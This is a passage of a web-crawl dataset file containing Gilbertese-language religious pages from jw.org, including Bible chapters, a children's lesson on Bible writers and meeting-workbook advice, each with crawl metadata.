mwina.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-uea\/21\/","date":"2018-01-23T21:55:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892699.72\/warc\/CC-MAIN-20180123211127-20180123231127-00428.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":868,"character_repetition_ratio":0.06,"word_repetition_ratio":0.016,"special_characters_ratio":0.237,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kairoroaki tibun Iteraera bwa a na mwakuri korakora n aroia tooro. E kanakoia Mote ma Aaron Iehova nakoni Barao ma te rongorongo aei: 'Kanakoia au aomata bwa a aonga n taromauriai n te rereua.' Ma e kaeka ma te kamoamoa Barao ni kangai: 'I aki tabe ma ana taeka Iehova, ao N na aki kanakoia tibun Iteraera.' Ao e a karawawataa riki aia mwakuri Barao. Ma e nang anganaki reireiana iroun Iehova. Ko ataia bwa n te aro raa? E karokoi Rekenikai Aika Tebwina i Aikubita. E taku Iehova nakoni Mote: 'E aki ongo irou Barao. Naako nakoina bwa ane e na mena n te Karaanga ae te Naire n te moaningabong, ao tuangnga bwa ngkai e rawa ni kanakoia au aomata, e na bitaki ranin te Naire nakon te raraa.' E ongeaba Mote ao e nakoni Barao. E matakuakina Aaron Barao ngke e orea ranin te Naire n te oko, ao e a bitaki naba nakon te raraa. E a moanna ni mwaung te karaanga, a a mate iika, ao ai akea te ran ni moi ae itiaki man te Naire. Ma e bon rawa naba Barao ni kanakoia tibun Iteraera.\nItibong imwina, e a kanakoa Mote Iehova bwa e na okira Barao ma te rongorongo aei: 'Ngkana ko aki kanakoia au aomata ao e na buta Aikubita n te biraoki.' E tabekaarake te oko Aaron ao e a moanna ni buta aon te aba n te biraoki. A nori biraoki aomata n aia auti, n aia kainiwene, ao n aia boora. E a buta te biraoki n taabo nako! Ai ngaia are e wetea Mote Barao bwa e na butiia Iehova bwa e na katoka te rekenikai aei. E berita Barao bwa e nang kariaia nakoia tibun Iteraera. Ngaia are e a katoka te rekenikai anne Iehova, ao a bati bwariko ni biraoki aika mate ake a kauaataoi rake kaain Aikubita ao e a mwaung aon te aba. Ma e a manga rawa naba Barao ni kanakoia.\nAo Iehova e tuanga Mote ni kangai: 'E riai n orea aontano n okona Aaron, ao e na riki te bubu bwa taiani maninnara, ke naango aika uarereke aika tenatena.' Ao a a rina naba n riki maninnara n taabo nako. A taku tabeman ana aomata Barao nakoina: 'Boni mairoun te Atua te rekenikai aei.' Ma e bon rawa naba Barao ni kanakoia tibun Iteraera.\n\"N na kairoroiia bwa a na ataia, ao n te tai aei N na kairoroiia bwa a na ataa mwaakau ao korakorau, ao a na ataia bwa bon Iehova arau.\"—Ieremia 16:21","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/4\/aikubita-rekenikai-1-2-3\/","date":"2018-01-22T02:50:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00470.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":425,"character_repetition_ratio":0.075,"word_repetition_ratio":0.005,"special_characters_ratio":0.231,"stopwords_ratio":0.461,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko noriia mwaane akana oti taamneia?— Boni Mataio, Mareko, Ruka, Ioane, Betero, Iakobo, Iuta ao Bauro. A bane ni maiu mwaane aikai ngke e maiu Iesu ao a korea rongorongona. Ti na reiakina riki taekaia.\nTera rongorongoia mwaane aikai ae ko ataia?\nTeniman mai buakoia bon abotoro ake a uarongorongo ma Iesu. Ko ataia bwa antai mwaane akana teniman akanne?— Boni Mataio, Ioane ao Betero. A rangi ni kinaa Iesu abotoro aika Mataio ao Ioane, ao a korea rongorongoni maiun Iesu ni booki ake a korei. E korea naba te boki ae Te Kaotioti te abotoro Ioane ao tenua reeta aika a aranaki bwa te Moan Ioane, te Kauoua n Ioane ao te Katenua n Ioane. E korei reeta aika uoua n te Baibara te abotoro Betero. A aranaki bwa te Moani Betero ao te Kauoua ni Betero. N ana kauoua n reta Betero, ao e korea taekan te tai are e taetae iai Iehova mai karawa ibukin Iesu ni kangai: \"Natiu ae I tangiria teuaei, ae I kakatonga irouna.\"\nTi karekea naba reireiara n rongorongon Iesu, mani booki ake a koreaki irouia mwaane riki ake tabeman aika a oti taamneia. Temanna mai buakoia boni Mareko. E mena i rarikin Iesu ngke e katikaki ao e nori bwaai ni kabane ake a riki. Temanna riki bon Ruka. Bon te taokita teuaei ao e riki bwa te Kristian imwini maten Iesu.\nTaani korea te Baibara ake tabeman riki aika ko nori taamneia, bon tarin Iesu aika uarereke. Ko atai araia?— Araia bon Iakobo ao Iuta. N te moantai, ao a aki kakoauaa Iesu. A iangoia bwa e mino. Ma a onimakina Iesu imwina ao a riki bwa Kristian.\nTe tia korea te Baibara ae te kabanea ae ko nora taamneina boni Bauro. Imwain rikina bwa te Kristian, ao arana Tauro. E riribaiia Kristian ao e rangi ni bwainikirinia. Ko ataia bwa e kanga n riki Bauro bwa te Kristian?— N te taina, ngke e mwananga Bauro i nanon te kawai ao e a karina naba n ongo bwanaan temanna ae e taetae nakoina mai karawa. Bon Iesu! E titirakina Bauro ni kangai: 'E aera ngkai ko rangi ni bwainikirinia te koraki ake a onimakinai?' Imwin anne, e a bitaki Bauro ao e a riki bwa te Kristian. E boni korei bokin te Baibara aika 14 aika I-Rom nakon Ebera.\nTi wareware n te Baibara ni katoabong, tiaki ngaia?— Ni warekan te Baibara ao ti a reiakina iai rongorongon Iesu aika bati. Ko kan reiakina ae bati riki ibukin Iesu?—","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/reireinia-natimi\/a-korea-rongorongon-iesu\/","date":"2018-01-23T04:29:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00303.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":417,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n28 Ao ngke ti a roko i eta, ti a ataia bwa te abamwakoro arei e aranaki bwa Merita.+ 2 Ao a kaotiota te atataiaomata ae rianako nakoira kaain te aba.* A kauraa te ai ao a mwaneira ni buokira ni kabane, ibukin te karau ae bwaka ao te kamariri. 3 Ma ngke e ikota te bwabwati ni kai Bauro ma ni karea te ai, ao e otinako mai iai te naeta ae te baiba ibukin te kabuebue ao e tenaa baina n tineia. 4 Ngke a nora te man ae boitin kaain te aba bwa e tinetine i baina, ao a taku i marenaia: \"Bon te tia tiritiri teuaei, bwa e ngae ngke e reke maiuna mai taari, ma e aki kariaiakaki iroun te Kaetitaeka ae Riai* bwa e na teimatoa ni maiu.\" 5 Ma e taeaanako te man arei Bauro nakon te ai ao e aki ikoaki iai. 6 Ma a kariaa ae e na tibutau baina ke e na rina ni bwaka ni mate. Ma imwin aia kakantaninga n te tai ae maan ao a noria bwa akea te bae buakaka ae riki nakoina, ao a a bita aia iango ao a a taku bwa temanna naba te atua. 7 Ma e kaan te tabo arei ma aban nako te aomata ae kakannato riki n te aba anne, ae arana Boberio, ao e mwaneira ao e kairuwaeira n akoira i nanon tenibong. 8 E wene n aoraki tamani Boberio n te nne ni wene bwa e kabuebue ao e kaabekabeka, ao e rin Bauro ni kawaria ao e tataro, ao e kaaki baina i aona ao e katoka aorakina.+ 9 Imwin rikin aei, ao a a manga roko ni kawaria kaain te aba ake tabemwaang ake a aoraki, ao a kamarurungaki.+ 10 A karineira naba n anganira bwaai n tituaraoi aika bati, ao ngke ti nangi boraunako, ao a karekei bwaai nako aika ti kainnanoi. 11 Tenua namwakaina imwina ao ti a ienako n te kaibuke ae kanikinaeaki n \"Natin Tieuti.\"* Te kaibuke aei boni mai Arekanria ao e tiku n te abamwakoro ni kakatoka te kamwaitoro. 12 Ti rororake n te matabaiawa i Turakuta, ao ti tiku iai i nanon tenibong. 13 Mai ikanne ao ti a kaneneinako ni karokoa rokora i Rekio. Tebongina imwina ao e a kare te angimaiaki ao ti roko i Buteori n te kauoua ni bong. 14 Ti boo ma taari ikai ao a kaungaira bwa ti na tiku irouia i nanon itibong, ao ai ngaia anne arora ni kaea Rom. 15 Ngke a ongo taekara taari ake iai, ao a mwananga ni karokoa rokoia n te tabo ni Mwakete i Abia ni butimwaeira iai, ao tabeman a kauiaira n Auti n Iruwa Aika Tenua. Ngke e noriia Bauro, ao e kaitaua te Atua ao e kaungaaki nanona.+ 16 Ngke ti a roko i Rom, ao e kariaiakaki Bauro bwa e na maeka i bon irouna ma te tautia ae te tia tararuaia. 17 Ma tenibong imwina ao e ikotiia mwaane ake a kakannato riki Bauro mai buakoia I-Iutaia, ao ngke a a ikotaki ao e taku nakoia: \"Mwaane, taari, e ngae ngke I aki kaaitaraia te koraki ke aia katei ara bakatibu,+ ma e anga te aba ngai bwa te bure mai Ierutarem nako nanoni baia I-Rom.+ 18 Ao ngke a a tia I-Rom ni kakaae nako taekau,+ ao a kani kainaomataai, bwa akea te bwai ae riai mateu iai.+ 19 Ma ngke a rawa iai I-Iutaia, I a riai ni bubutii bwa N na tei i matani Kaitara.*+ Ma bon akea nanou ni kani bukinia iai au natannaomata. 20 Ai ngaia are I a bubutii bwa N na kaitiboo ma n taetae ma ngkami, bwa I kabaeaki n te taurekereke aei ibukin aia kantaninga tibun Iteraera.\"+ 21 A taku nakoina: \"Akea taekam ae reke iroura n te reta mai Iutaia, ao akea naba te tari ae roko ae e kaongoira ke n taekina te bwai teuana ae buakaka ibukim. 22 Ma ti taku bwa e riai bwa ti na ongora iroum bwa tera am iango, bwa ni koauana ti ataia bwa e kakabuakakaaki te koraki n Aro aei+ n taabo nako.\"+ 23 Ao a namata aia bong are a na kaitiboo iai ma ngaia, ao e a bati riki iai te koraki ake a kawaria n ana tabo ni maeka. Ao e kabwarabwaraa te baerei nakoia man te ingabong ni karokoa ae e a moantairiki, ngke e kakororaoa kaotiotan taekan ana Tautaeka n Uea te Atua, ao e kabongana te Tua Rinanoni Mote+ ma aia koroboki Burabeti+ n anai nanoia nakon Iesu.+ 24 Ao tabeman a a kakoauai baike e taekin, ma a aki kakoauai ake tabemwaang. 25 A aikoa boraoi n iango, ai ngaia are a a nako, ma iai teuana ana taeka Bauro ae kangai: \"E bon eti te taamnei ae raoiroi ngke e taetae rinanon Itaia are te burabeti nakoia ami bakatibu 26 ni kangai, 'Naako nakoia aomata aikai ao kangai: \"Kam na bon ongora ma kam na aki ota, ao kam na bon taratara ma kam na aki noraaba.+ 27 Bwa a rikirake n aki muti nanoia aomata aikai, ao a ongo taningaia ma a aki rotaki iai. A kaini mataia bwa a aonga n aki noraaba ni mataia ao n aki ongo n taningaia, ao a aki ota nanoia, ao a aki rairaki n oki bwa N na kamarurungia.\"'+ 28 Mangaia ae kam na ataia bwa e a tia n tataekinaki taekan ana kakamaiu te Atua aei nakoia natannaomata aika tiaki I-Iutaia,+ ao a na bon ongo iai.\"+ 29 *—— 30 Ao e mamaeka Bauro n ana auti+ ae kabooa tangoana i nanon uoua te ririki, ao e bubutimwaeiia raoi te koraki ni kabane ake a kawaria, 31 n uarongorongoa ana Tautaeka n Uea te Atua nakoia, ma n reireinia taekan te Uea ae Iesu Kristo n aki maaku*+ ao n aki tutukaki.\n^ Ke, \"te koraki aika kabongana te taetae ae ianena.\"\n^ Kuriiti, Diʹke, ae tao e kaineti nakon te atua n aine ibukin te kaetitaeka ae riai, ke te kaetitaeka ae riai ae aongkoa te aomata.\n^ Aikai natin Tieuti aika mwaane aika bwebwee, ake araia Katito ao Borukiti.\n^ Nora Nanon Taeka.\n^ Nora Buk. A3.\n^ Ke, \"ma te ninikoria ae bati.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/mwakuri\/28\/","date":"2018-01-18T06:40:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887067.27\/warc\/CC-MAIN-20180118051833-20180118071833-00327.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1039,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TAAMNEI IBUKIN REIREIARA\nTaamnei aika kimototo ibukin reireiara aikai a kaekai titiraki aika kakawaki aika boto i aon te Baibara, ao a irekereke ma reirei ake n te boroutia ae Te Rongorongo ae Raoiroi Mairoun te Atua!\nTera te rongorongo ae raoiroi mairoun te Atua? Bukin tera bwa ti kona ni kakoauaa? A kaekaaki n te boroutia aei titiraki aika taabangaki man te Baibara.\nA bati nakoan te Atua n aron, Moan te Mwaaka, te tia Karikiriki, ao te Uea. Ma e kabonganaaki aran te Atua 7,000 tabun te tai n te Baibara.\nNgkana e koreaki te Baibara iroun te Atua, e riai n riki bwa te boki ae akea n ai arona.\nE kaotaki n te Baibara rianakoni kakawakini maten Iesu. Iai te kantaninga ni matena?\nN ana mwakuri ni minita Iesu ao e bati riki ana tai n angareirei i aon taekan Ana Tautaeka n Uea te Atua. I nanon tienture aika bati, a a tia taan rimwina n tataroa rokon te Tautaeka n Uea anne.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/baibara-reirei-bwaai-n-ibuobuoki\/taamnei-man-te-baibara-reirei-aika-kakawaki\/","date":"2018-01-19T15:50:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888041.33\/warc\/CC-MAIN-20180119144931-20180119164931-00087.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":167,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E oti n onean Ioane ao n taraakina bwa e kabebetea maiuna, ao e anga ngaia ibukini kakaraoan nanon te Atua\nMwiokoan Ioane ae okoro ae e e na rimoan Iesu ni katauraoa kawaina e rangi ni kakawaki riki nakoni baike e taon nanona nako iai\nE buokira kabebeteani maiura ni karaoa ae bati riki n ara beku ibukin te Atua ao e anganira te raunnano ae bati. Ti kona ni kabebetei maiura ngkana ti . . .\natai raoi baika ti boni kainnanoi\nkabooi tii baika ti kainnanoi\nbairea raoi ara kataumwane\nkanakoi baika ti aki kakabonganai\nkatoka te taarau\naki kabatiaa ara tai n te mwakuri ni kareketianti\nTera te tia ae I kona n uaiakinna ngkana I kabebetea maiuu?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2018-mwb\/kaetieti-n-te-botaki-tian1-7\/e-a-kaan-te-tautaeka-n-uea-ae-bwaini-karawa\/","date":"2018-01-17T08:14:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886830.8\/warc\/CC-MAIN-20180117063030-20180117083030-00127.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":119,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.378,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkana e butimwaeira te ataei n ara tai n uarongorongo, ti riai n tuangnga ae ti kani maroro ma ana karo. E kaotaki iai karinean te aomata are kairiri n te utu. (TNR 6:20) Ngkana e karinira te ataei n ana auti, ti riai n aki. Ngkana akea ana karo, ti riai ni manga oki n te tai teuana.\nNgkana e ikawai riki bwa tao tebwi ma nimaua nakon tebwi ma ruaiwa ana ririki, ti bon riai naba ni kakaaeia ana karo. Ngkana akea ana karo, ti kona n titirakinna bwa a kariaia ana karo bwa e na rinea ana boki ni wareware ke a aki. Ngkana a anganna inaomatana iai, ti kona ngkanne n anganna ara boki ao tao ni kairia nakon jw.org.\nNgkana ti a manga okira te roro n rikirake ae kan ongora, ti riai n tuangnga ae ti kani maroro ma ana karo. E kona karaoan aei ni karekea angara ni kabwarabwaraa bukin rokora, ao ni kaotia nakoia ae e raoiroi ao e kona n onimakinaki te taeka n reirei man te Baibara ibukia kaain te utu. (TA 119:86, 138) E na riki bwa te uarongorongo ae raoiroi kaotiotani karineaia ao tabeakinaia kaaro, ao e kona n reke riki iai ara tai n tibwaa te rongorongo ae raoiroi nakoia kaain te utu.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tebetembwa-2016-mwb\/kaetieti-n-te-botaki-teb5-11\/e-butimwaeiko-te-ataei-n-am-tai-n-uarongorongo\/","date":"2018-01-21T19:53:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890823.81\/warc\/CC-MAIN-20180121175418-20180121195418-00728.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":213,"character_repetition_ratio":0.068,"word_repetition_ratio":0.029,"special_characters_ratio":0.232,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni Maati 23 ao a kantaningaaki te mwaiti ae tao 12 te mirion ke e raka riki bwa a na ira te Kauring bwa iruwa.[1] Ai rianakora te bwai ni kaotioti ae a na ongoraeia naakai n ana maroro te tia kabwarabwara, ni kaineti ma ana bwaintituaraoi Iehova ae te karea ni kaboomwi ao kakabwaia tabeua n te tai ae e na roko ibukia te botannaomata! (It 11:6-9; 35:5, 6; 65:21-23; Io 3:16) E ngae n anne, tiaki tii te tia kabwarabwara ae na anga te bwai ni kaotioti n te botaki ae kakawaki aei. Ti bane ni kona n uataboia ngkana ti butimwaeiia iruwa. (Ro 15:7) Aikai aanga tabeua.\nN oneani mwin ae ko na kaea am tabo n tekateka ao n tataningaa moanakin te botaki, butimwaeiia ma te moangare ao ni kamauriia iruwa ao taari ake a aki roroko n te bobotaki\nIrarikin tabeakinaia riki naake ko boni kaoia, kawariia naba naake a roko man te beeba ni kakao n taini kabutana. Kaoia aika boou bwa a na tekateka ma ngkoe. Ibuobuoka am Baibara ao n anene ma ngaiia\nImwin te kabwarabwara, tauraoi ni kaekai aia titiraki. Ibukin uarereken te tai n am ekaretia bwa e na manga kamwawaa te tabo ibukia kaain te ekaretia are imwina, bairea am tai ni manga kawara te aomata anne i nanon te wiki. Ngkana akea te anga ae ko kona n reitaki iai ma ngaia, ko kona ni kangai: \"E uara ongoraam n te kabwarabwara? Iai te anga ae I kona n reitaki iai ma ngkoe?\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2016-mwb\/kaetieti-n-te-botaki-maati7-13\/butimwaeiia-iruwa\/","date":"2018-01-19T15:45:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888041.33\/warc\/CC-MAIN-20180119144931-20180119164931-00532.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":247,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E Aera Ngkai E a Rangi ni Bati te Rawawata?\nTe rawawata e kona n rotiia aomata nako, n ikotaki naba ma naake akoaki iroun te Atua. Bukin tera?\nE kaotaki n te Baibara nibwani karawawataaia aomata.\nIangoi baika tenua aika kaota ana mwakuri te Atua aika koreaki n te Baibara.\nA bati aika titiraki bwa e aera ngkai e kariaia te rawawata ae bati te Atua ae tatangira. Iai kaekaan titiraki aikai n te Baibara!\nA a tia aomata ni kabwaka n aia kakorakora ni karekea te rau n te aonnaba. Iangoi bukina tabeua.\nTe Kekeiaki ma te Rawawata\nIai baika tenua aika e tituaraoi n anga te Atua ibukini buokan rawawatara.\nEng! Nori aanga aika tenua aika a na buokiko ni kekeiaki ma te aoraki ae wenemaan.\nTokin te Rawawata\nReiakina aron te Atua ni beritana reken te rau n te aonnaba rinanon Ana Tautaeka n Uea.\nReiakina te bae ko na kariaa ngkana e a kairiri ana tautaeka te Atua n te aonnaba ni kabutaa.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/ibukin-te-rawawata\/","date":"2018-01-19T15:46:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888041.33\/warc\/CC-MAIN-20180119144931-20180119164931-00532.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":168,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n21 Ao e teirake Tatan* n ekiianako tibun Iteraera ao e kauekea nanon Tawita bwa e na warekiia tibun Iteraera.+ 2 Mangaia are e taku Tawita nakon Ioaba+ ao aia mataniwi aomata: \"Naako warekiia tibun Iteraera mai Beerateba ni karokoa Tan,+ ao kaongoai bwa I aonga n atai mwaitiia.\" 3 Ma e taku Ioaba: \"Ke e kamwaitiia ana aomata Iehova 100 te tai! Au toka ae te uea, tiaki a a kamani bane n tia n riki bwa ana toro au toka? E aera ngkai e kani karaoa aei au toka? E aera ngkai e na riki bwa te tia karekeia tibun Iteraera n te bure?\" 4 Ma e tokanikai ana taeka te uea i aon Ioaba. Mangaia are e a otinako Ioaba ao ni mwananga ni kabutaa Iteraera, ao imwina e a nako Ierutarem.+ 5 E a anga ngkai Ioaba nakon Tawita mwaitiia aomata ake a koreaki araia. Botani mwaitiia tibun Iteraera ni kabane bon 1,100,000 mwaane aika uakabaang, ao 470,000 mwaane aika tibun Iuta aika uakabaang.+ 6 Ma a aki koreaki araia tibun Rewi ao tibuni Beniamin i buakoia,+ ibukina bwa Ioaba e rangi n ribaa ana taeka te uea.+ 7 E rangi n aki kukurei te Atua ae koaua n te baei, mangaia are e a oreiia tibun Iteraera. 8 E taku ngkanne Tawita nakon te Atua ae koaua: \"I bon rangi ni bure+ ni karaoan aei. Ao ngkai taiaoka ma kabwaraa ana bure am toro,+ bwa I a tia ni karaoa te aro ae rangi n nanobaba.\"+ 9 Ao e taetae Iehova nakoni Kata+ are ana tia nori miitara Tawita ni kangai: 10 \"Naako ao kangai nakon Tawita, 'E kangai ana taeka Iehova: \"I anganiko tuuaa aika tenua. Ko na rinea teuana ae N na karokoa i aom.\"'\" 11 Mangaia are e rin Kata nakon Tawita ao e taku nakoina: \"E kangai ana taeka Iehova, 'Karaoa am rinerine, 12 bwa tao a na roko ririki n rongo aika tenua,+ ke a na kamaunako taani kakaaitarako mai mwaia i nanon tenua namwakaina ao a na ooiko aia kabaang taani kairiribai nakoim,+ ke e na oreiko ana kabaang Iehova i nanon tenibong ae taekan te aoraki ae kamamate n te aba,+ ma ana anera Iehova ae e na karokoa te kamaunanakoaki+ n aonon Iteraera ni kabutaa.' Iangoa ngkai te bwai ae N na kaekaa iai Teuare kanakomaiai.\" 13 Mangaia are e taku Tawita nakoni Kata: \"E rangi ni karawawata irou. Taiaoka ma I bia bwaka nako nanoni bain Iehova bwa e rangi ni korakora ana nanoanga,+ ma tai kariaia bwa N na bwaka nako nanoni bain te aomata.\"+ 14 Ao e kanakoa te aoraki ae kamamate Iehova+ nako aoia tibun Iteraera, n te aro are a a bwaka aomata aika 70,000 mai buakoia tibun Iteraera.+ 15 Ao e kanakoa te anera nako Ierutarem te Atua ae koaua bwa e na kamauna. Ma ngke e nang karaoa anne, ao e noria Iehova ao e a manga uringaaba* ibukin te rekenikai arei,+ ao e taku nakon te anera are karokoa te kamaunanakoaki: \"E a tau!+ Ani kabwakaa ngkanne baim.\" E tei ana anera Iehova n uakaan ma ana tabo ni kaaki kun ni uita Orenan+ are te I-Iebuti.+ 16 Ngke e euti matana Tawita, ao e nora ana anera Iehova bwa e tei i marenan te aonnaba ma karawa, ma te kabaang+ i nanoni baina ae aroraki nako Ierutarem. A aki tabwara Tawita ma unimwaane ake a rabunaki n te raerobwa,*+ ma a a katorobubua naba ni bobaraaki nako aontano.+ 17 E taku Tawita nakon te Atua ae koaua: \"Tiaki boni ngai ae I taekinna bwa a na warekaki aomata? Boni ngai ae I bure ao boni ngai ae I karaoa ae kairua,+ ao tera ae a karaoia tiibu aikai? Taiaoka ngkoe ae Iehova ae Atuau ma ke e ekainako baim ma kaaini batan tamau, ma tai karokoa te rekenikai ae kamamate aei i aoia am aomata.\"+ 18 Ao ana anera Iehova e tuanga Kata+ bwa e na tuanga Tawita, bwa e na waerake ni katea te baonikarea nakon Iehova n ana tabo ni kaaki kun ni uita Orenan are te I-Iebuti.+ 19 Mangaia are e waerake Tawita n ana taeka Kata, are e taekinna n aran Iehova. 20 N te tai anne ao e rairaki Orenan ao e nora te anera, ao a karabaia natina mwaane aika aman ake raona. E kaaki kunin te uita Orenan. 21 Ngke e waerake Tawita ni kawaria ao e taratara nako Orenan ao e nora Tawita, ao e a otinako naba ngkekei man te tabo ni kaaki kun ni uita, ao e katorobubua ni bobaraaki i aontano nakon Tawita. 22 E taku Tawita nakon Orenan: \"Kaboonakoa* nakoiu te tabo ae mena iai te tabo ni kaaki kun ni uita, bwa I aonga ni katea iai te baonikarea nakon Iehova. Kaboonakoa nakoiu n te boo ae tabwanin raoi, bwa e aonga n toki te rekenikai ae kamamate nakoia aomata.\"+ 23 Ma e taku Orenan nakon Tawita: \"Anaia bwa am bwai, ao ke e karaoa au toka ae te uea te bwai ae e taku bwa e raoiroi irouna.* Noria, I katauraoiia kaao ibukin taiani karea ni kabuekaki, ao te kaa ni kaaki kun ni uita+ ae katikitikaki ibukin te aia, ao te uita bwa te karea ae te amwarake.* I anga ni kabane.\" 24 Ma e taku te Uea are Tawita nakon Orenan: \"Tiaki ngaia anne, I riai ni kabooa n te boo ae tabwanin raoi, ibukina bwa N na aki anaa am bwai ao n angan Iehova, ke n anga taiani karea ni kabuekaki aika I aki kabooi.\"+ 25 Ao Tawita e angan Orenan 600 te tiekera* ni koora ae katineaki ibukin te tabo arei. 26 Ao e katea te baonikarea+ Tawita nakon Iehova ikekei, ao e kareani karea ni kabuekaki ma karea n raoi, ao e wetea Iehova, are e a kaekaa ngkai n te ai+ mai karawa i aoni baonikarean te karea ni kabuekaki. 27 Ao e tua Iehova nakon te anera+ bwa e na kaoka ana kabaang nakoni kauna. 28 N te tai anne, ngke e noria Tawita bwa e a kaekaaki iroun Iehova n ana tabo ni kaaki kun ni uita Orenan are te I-Iebuti, ao e a teimatoa n angakarea ikekei. 29 Ma n te tai anne ao a mena n te tabo ae rietata i Kibeon,+ ana umwanrianna ae tabu* Iehova are e karaoia Mote n te rereua, ao baonikarean te karea ni kabuekaki. 30 Ma e aki kona Tawita n nako matana bwa e na bubutii buokana iroun te Atua, bwa e maakunrang n ana kabaang ana anera Iehova.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-rongorongo\/21\/","date":"2018-01-20T16:09:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889660.55\/warc\/CC-MAIN-20180120142458-20180120162458-00520.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 